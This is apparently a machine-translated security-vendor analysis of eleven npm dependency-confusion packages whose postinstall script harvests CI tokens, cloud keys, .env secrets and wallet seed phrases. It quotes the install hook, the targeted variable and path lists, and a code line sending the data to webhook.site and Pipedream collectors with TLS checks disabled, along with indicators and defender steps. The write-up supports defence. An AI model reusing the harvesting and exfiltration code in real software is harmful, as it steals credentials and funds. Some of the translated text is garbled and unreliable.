Путаница с CryptoDAO: сбор пакетов npm CI/CD и криптосекреты

Путаница с CryptoDAO: одиннадцать npm-пакетов, одна полезная нагрузка, сбор данных. CI/CD и секреты криптокошельков

TL, д-р

17 июня 2026 года один аккаунт npm опубликовал следующее: одиннадцать пакетов, объединенных одной целью и одной полезной нагрузкой.Десять из них несут cryptodao- приставка (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); одиннадцатый — это увеличенный. @public-for-cdao/coreВсе они были опубликованы в версии . 99.99.99 и отправляет идентичный по байтам файл. recon.js который работает на postinstall.

Названия говорят сами за себя. Они читаются как внутренние строительные блоки закрытого набора инструментов крипто/DAO-проекта. Опубликованные в публичном реестре npm с искусственно завышенной версией, они ждут сборки. pipeline Это настроено на разрешение этих имен и обращается к общедоступному npm раньше — или вместо — частного реестра. путаница с зависимостямии полезная нагрузка настроена именно на то место, куда она, как ожидается, приземлится: CI/CD бегунов.

После появления postinstall пожары recon.js собирает данные о хосте, проводит приблизительное сканирование. сорок переменных среды облачных вычислений, CI и криптокошелькачитает любой .env Он находит файлы и дословно пересылает содержащие секретную информацию, а затем отправляет пакет двум сборщикам — webhook.site и конечная точка Pipedream — с отключенной проверкой TLS-сертификата. Копия также записана в другом месте. /tmp.

Уровень опасности: высокаяЗатронутая экосистема: НПМНа момент написания статьи все одиннадцать пакетов были активны.

Анатомия атаки

Этот механизм состоит из четырех подвижных частей, и ни одна из них не является незаметной, если знать, как ею пользоваться. Посмотрите на один уровень дальше, чем название пакета.

1. Интенсивность версий как приманка для резолвера. Каждый пакет объявляет свою версию. 99.99.99Проблема путаницы зависимостей возникает, когда менеджер пакетов запрашивает... внутреннее имя, также проверяет публичный реестр и выбирает самую высокую версию. npm по умолчанию выбирает диапазон символов "^" или "подстановочный знак". наиболее удовлетворительная версия из всех настроенных источников; если оба являются частными В случае, если имя версии совпадает с именем в реестре или в общедоступном npm, побеждает версия с большим номером. A 99.99.99 превосходит по рейтингу практически любую реальную внутреннюю версию проекта. достигнуто, поэтому резолвер, не привязанный к частному источнику, предпочитает другой. общедоступная — и в данном случае враждебная — копия. Оператору не нужно знать эту информацию. Реальные номера версий целевой системы; выбор абсурдного максимума гарантирует всегда ничью. все складывается в их пользу.

2. Триггер, срабатывающий после установки. пакет.json подключает полезную нагрузку к установке жизненный цикл:

{   "scripts": { "postinstall": "node recon.js" } }

Импорт пакета не требуется. Достаточно просто установить его — что позволяет использовать систему непрерывной интеграции (CI). pipeline автоматически запускается recon.js.

3. Масштабная секретная операция. recon.js формирует массив результатов поэтапно:

  • Контекст хоста: имя хоста, платформа и версия, архитектура, имя пользователя, рабочее состояние. каталог.
  • Переменные среды: программа перебирает фиксированный список, содержащий около сорока имен и записей. любой из установленных. Список показателен — в нем представлены пары универсальных токенов CI. (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) и облако реквизиты для входа (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) с секретами реестра и контейнеров (NPM_TOKEN, DOCKER_PASSWOR, HARBOR_PASSWORD) и кластер с отчетливо выраженным криптографическим оттенком:  ПРИВАТНЫЙ_КЛЮЧ, МНЕМОНИКА, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCЗаписанные значения обрезаются до первых 50 символов.
  • .env файлы: он проверяет список путей — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, и .производство/.разработка варианты — и для любого существующего файла это фильтрует содержимое по строкам, соответствующим КЛЮЧ|СЕКРЕТНЫЙ|ТОКЕН|ПАРОЛЬ|ПРИВАТНЫЙ|МНЕМОНИК и вставляет эти строки **полностью, без усечений** в результаты.
  • Контекст Build-host: он отображает первые 20 записей /builds/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/ и / tmp /.

Список путей и список переменных ориентированы на исполнителей GitLab, что указывает на полезная нагрузка направляется непосредственно на собственную инфраструктуру CI, а не на разработчика. ноутбук. Группировка списка урожая по категориям позволяет четко определить, что именно планируется собрать:

Категория Достигнутые переменные/пути
CI/CD идентификация и развертывание CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
облако AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Реестр и контейнер NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Хранилища данных DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Криптовалюта / блокчейн PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
обмен сообщениями SLACK_TOKEN, DISCORD_TOKEN
На диске .env семья + /home/gitlab-runner/.env, /root/.env, /app/**/.env; списки каталогов /builds/, /var/lib/gitlab-runner/

Криптографический кластер — это та часть, которая отличает его от обычного секрета CI. sweep: сид-фразы кошелька и ключи подписи отображаются только в среде блокчейн-проект, и они напрямую связаны с криптодао-/подписавшийся/контрактов наименование перевозчиков.

4. Двойная эксфильтрация с отключенной проверкой. Собранный массив — Сериализовано и отправлено методом POST в два пункта назначения:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

rejectUnauthorized: false Отключает проверку TLS-сертификатов для исходящих соединений. вызовы. Те же данные выводятся в стандартный поток вывода (следовательно, они также попадают в журналы заданий CI) и записываются в /tmp/.npm_recon_ .jsonОшибки игнорируются незаметно, поэтому Неудачная отправка не оставляет никаких следов в результатах установки, кроме одного сообщения. [разведка] установлен на линии.

В одном из главных комментариев к файлу это описывается как «недоразумение с зависимостями». «Разведывательная полезная нагрузка». Сокращение значений параметров окружающей среды до 50 символов привело к... Форма, демонстрирующая работоспособность концепции. Его отличает от простого маяка, показывающего лишь присутствие, следующее: .env Обработка: секретные линии пересылаются полностью, и адресаты Это два работающих, управляемых злоумышленником сборщика мусора, а не один приемник, который только подсчитывает количество мусора. хиты.

Лента

Шаблон публикации — это сигнатура одной, запрограммированной отправки, а не одиннадцати. независимые загрузки.

Время (UTC, 17.06.2026) События
03:24:58 cryptodao-bot@99.99.99 опубликовала
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — Вариант с увеличенным масштабом, примерно через 24 минуты

За 29 секунд было отправлено десять посылок, примерно одна каждые три секунды. Облачный @public-for-cdao/core Примерно через 24 минуты последовал второй эпизод. соглашение об именовании для одной и той же цели на случай, если использующий проект ссылается на нее. внутренний набор инструментов в рамках определенной области применения, а не просто в виде названий.

Индикаторы компромисса

Тип Индикаторные
Коллектор hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Коллектор hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Установить крючок postinstall: node recon.js
Перетащенный файл /tmp/.npm_recon_<timestamp>.json
Маркер бревна [recon] <pkg>@<ver> installed on <hostname> (вывод в stdout в логах CI)
Поведенческий rejectUnauthorized: false при исходящем HTTPS во время установки
полезная нагрузка recon.jsидентичный во всех одиннадцати пакетах (одна общая сборка)
Версия 99.99.99 на каждой упаковке
Packages cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (все 99.99.99)
Издатель aduljune / aduljune@proton.me (Адрес электронной почты не подтвержден, ссылка на репозиторий отсутствует)

 Атрибуция и наблюдаемое поведение

Всё в этом кластере указывает на одну сторону медали. Все одиннадцать пакетов были опубликованы. через учетную запись npm aduljune (aduljune@proton.meнеподтвержденный адрес без связанный репозиторий исходного кода), в течение 25 минут, одновременно 99.99.99 версия, отправка recon.js содержимое которого байт за байтом идентично во всех пакет (совпадения MD5 по всем одиннадцати извлеченным копиям). Это одна полезная нагрузка. отметка в списке имен, а не независимое повторное использование кода.

Список имен определяет целевую аудиторию. криптодао-* и cдао Опишите Структура приватного модуля крипто/DAO-проекта и список данных, собираемых полезной нагрузкой. отражает это предположение: наряду с общими секретами CI и облачных технологий, оно конкретно достигает ПРИВАТНЫЙ_КЛЮЧ, МНЕМОНИКА, SEED_PHRASEа также Ethereum/BSC RPC и Ключи поставщика. .env Пути поиска и списки каталогов — это GitLab-runner. конкретный. Наблюдаемый эффект заключается в том, что любой pipeline обманом заставили установить их Имена будут пересылать его токены CI, облачные ключи и данные с диска. .env секреты — и для блокчейн-проект, материалы для его кошелька — двум сторонним коллекционерам.

Мы не даем никаких гарантий относительно того, кто управляет этим счетом и что они планировали с ним делать. данные. Факты, которые говорят сами за себя: названия ориентированы на определенный тип внутренний набор инструментов, полезная нагрузка считывает и передает реальные секретные значения, и Инфраструктура работала.

Зависимость от путаницы остается эффективным, потому что использует особенности работы механизма разрешения зависимостей, а не какой-либо другой механизм. Уязвимость в любой упаковке. В данном случае перевозчик тривиален — одиннадцать почти пустых. пакеты — но радиус поражения может быть любым. pipeline ошибочно предпочитает общедоступный npm для внутреннего имени. CI-серверы — худшее место для этого: они удерживают именно токены и .env файлы, которые считывает эта полезная нагрузка, и они устанавливают зависимости неинтерактивны, поэтому послеустановка бежит, и никто не смотрит.

Этот кластер также соответствует закономерности, которую мы постоянно наблюдаем: полезные нагрузки, устанавливаемые во время установки, которые представляют собой в качестве «исследования» или «разведки» при реальном сборе учетных данных. Это обозначение используется для обозначения деятельности, требующей специальных знаний. Изменение содержимого файла не влияет на работу кода при запуске программы. Два проектных решения сохраняют... Активность тихая: каждая операция сети и файловой системы заключена в... Обработчик исключений, который отбрасывает ошибки, например, заблокированную отправку или отсутствующий файл. Диагностическая информация не выводится, и отображается только одно безобидное сообщение. [рекон] … установлен Строка, которая сливается с обычными разговорами об установке. Использование вебхук.сайт Pipedream также создан для удобства — оба сервиса бесплатны. Сервисы мгновенного перехвата запросов предоставляются оператору, поэтому ему не требуются серверы. Это их собственные имена, а в журналах исходящего трафика адреса назначения выглядят как обычные имена хостов SaaS.

Экономические факторы делают этот вариант достойным внимания защитников, несмотря на то, что... Коды авиаперевозчиков — это пустяк. Регистрация одиннадцати имен ничего не стоит, полезная нагрузка — одна единица. Файл копируется одиннадцать раз, и менеджер пакетов выполняет все операции. Один-единственный неправильно настроен pipeline Любой, кто использует одно из этих названий, оплачивает все расходы. операции.

Конкретные шаги для защитников:

  • Привязывайте внутренние области видимости к вашему частному реестру. Настройте npm так, чтобы внутренние имена были заданы правильно.
     и области видимости разрешаются только относительно вашего реестра (сопоставления реестра с областью видимости .npmrc,
    или прокси, который никогда не переходит в публичный npm для принадлежащих вам пространств имен). Зарезервируйте имена вашей публичной области видимости, чтобы никто другой не мог их зарегистрировать.
  • Commit заблокируйте файлы и установите с параметром –ignore-scripts в КИ где это возможно, или Проверьте небольшой набор зависимостей, для которых действительно необходимы скрипты установки.  recon.js не может быть запущен, если послеустановка не выполняется.
  • Обрабатывать версию имени, выглядящего как внутреннее значение, с коэффициентом 99.99.99 (или другим абсурдно высоким значением). как тревожный сигнал в рамках проверки зависимостей и мониторинга реестра.
  • Предупреждение о завершении установки. A послеустановка открывает исходящий HTTPS-трафик подключение — особенно при отключенной проверке сертификатов — к Сервисы webhook.site, Pipedream или аналогичные сервисы для перехвата запросов стоит блокировать на границе сети и отмечать в журналах сборки.
  • Отправляйтесь на поиски артефактов. Проверьте бегунов на /tmp/.npm_recon_*.json и для [recon] … установлен на … маркер в последних логах CI. Если найден, выполнить ротацию каждые учетные данные доступны этому pipeline — Токены CI, облачные ключи, токены реестра, а также любые начальные значения кошелька или закрытые ключи, присутствующие в среде или файлах .env.

Референсы

На момент написания статьи внешних отчетов по этому кластеру не существовало; анализ Приведенная выше информация основана непосредственно на опубликованном содержимом упаковки.

sca-инструменты-программное обеспечение-композиция-анализ-инструменты
Расставьте приоритеты, устраните и защитите риски, связанные с программным обеспечением
Получите бесплатный аккаунт.
Нет необходимости кредитную карту.

Защитите свою разработку и доставку программного обеспечения

с пакетом продуктов Xygeni